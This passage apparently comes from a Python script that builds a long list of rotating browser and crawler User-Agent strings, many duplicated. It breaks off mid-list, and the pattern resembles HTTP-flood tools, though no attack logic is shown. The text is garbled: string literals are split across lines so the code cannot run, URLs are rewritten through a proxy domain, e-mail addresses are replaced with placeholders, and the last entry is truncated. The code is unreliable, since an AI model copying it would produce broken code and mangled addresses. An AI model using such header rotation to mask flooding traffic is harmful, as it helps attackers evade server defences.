headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/179')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;
.NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
.NET CLR 1.1.4322)')
headers_useragents.append('Googlebot/2.1
(http://www.googlebot.com/bot.html)')
headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;
Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en)
Presto/2.2.0')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL)
AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0;
http://help.yahoo.com/help/us/ysearch/slurp)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1;
Trident/5.0)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT
6.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1;
+http://www.google.com/bot.html)')
headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp;
http://help.yahoo.com/help/us/ysearch/slurp)')
headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE
5.5; yahooseeker at yahoo-inc dot com ;
http://help.yahoo.com/help/us/shop/merchant/)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('AppEngine-Google;
(+http://code.google.com/appengine; appid: webetrex)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR
3.0.4506.2152; .NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR
2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR
3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR
2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR
3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR
3.5.30729; .NET4.0C; .NET4.0E)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR
3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR
3.5.30729; .NET4.0C; .NET4.0E)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812;
U; ru) Presto/2.4.15')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)
AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1
NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413
(KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US;
rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1
OpenSSL/0.9.8g')
headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-
Arz1)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)
AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US;
rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us)
AppleWebKit/413 (KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;
WOW64; Trident/4.0; SLCC1)')
headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux)
KHTML/4.3.5 (like Gecko)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE;
IEMobile 6.5)')
headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131
Version/11.10')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)
Gecko/20060706 IEMobile/7.0')
headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X;
en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b
Safari/531.21.10')
headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7;
ru-ru)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1;
Trident/5.0)')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT
6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR
3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0;
+http://yandex.com/bots)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7;
en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE;
IEMobile 7.0)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en;
rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)
Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US)
Presto/2.8.131 Version/11.10')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online
Browser 1.1; rev1.5; Windows NT 5.1;)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21;
rv:1.8b4) Gecko/20050720 Minimo/0.007')
headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/179')
headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83;
http://www.80legs.com/webcrawler.html) Gecko/2008032620')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
AddSugarSpiderBot www.idealobserver.com')
headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0;
+http://www.anyapex.com/bot.html)')
headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0;
+http://www.baidu.com/search/spider.html)')
headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0;
+http://www.baidu.com/search/spider.html)')
headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0
compatible; +http://www.become.com/site_owners.html)')
headers_useragents.append('BillyBobBot/1.0
(+http://www.billybobbot.com/crawler/)')
headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0;
+http://www.bing.com/bingbot.htm)')
headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775;
i686-pc-linux-gnu)')
headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0;
+http://yandex.com/bots)')
headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp;
http://help.yahoo.com/help/us/ysearch/slurp)')
headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0;
http://www.yodao.com/help/webmaster/spider/; )')
headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0;
http://www.yodao.com/help/webmaster/spider/; )')
headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link
Checker ([email protected]; http://www.WISEnutbot.com)')
headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link
Checker ([email protected]; http://www.WISEnutbot.com)')
headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-
[email protected]; http://www.WISEnutbot.com)')
headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable)
AppleWebKit/420+ (KHTML, like Gecko)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET
CLR 3.5.30729; Avant Browser)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)
AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3
Safari/532.2')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)
AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
ChromePlus/1.5.1.1')
headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C
4.7.1; text)')
headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3)
AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0)
Gecko/20100101 Thunderbird/24.4.0')
headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0;
+http://www.abilogic.com/bot.html)')
headers_useragents.append('SiteBar/3.3.8 (Bookmark Server;
http://sitebar.org/)')
headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2;
en-ca)')
headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2;
en-ca)')
headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0;
Macintosh)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de;
rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de;
rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US;
rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
.NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
{1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
acc=baadshah; acc=none; freenet DSL 1.1; (none))')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
en) Opera 8.51')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp)
AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12)
Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812;
U; ru) Presto/2.4.15')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)
AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1
NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413
(KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US;
rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1
OpenSSL/0.9.8g')
headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-
Arz1)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)
AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US;
rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us)
AppleWebKit/413 (KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;
WOW64; Trident/4.0; SLCC1)')
headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux)
KHTML/4.3.5 (like Gecko)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE;
IEMobile 6.5)')
headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131
Version/11.10')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)
Gecko/20060706 IEMobile/7.0')
headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X;
en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b
Safari/531.21.10')
headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7;
ru-ru)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1;
Trident/5.0)')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT
6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR
3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0;
+http://yandex.com/bots)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7;
en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE;
IEMobile 7.0)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en;
rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)
Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US)
Presto/2.8.131 Version/11.10')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online
Browser 1.1; rev1.5; Windows NT 5.1;)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21;
rv:1.8b4) Gecko/20050720 Minimo/0.007')
headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/179')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;
.NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
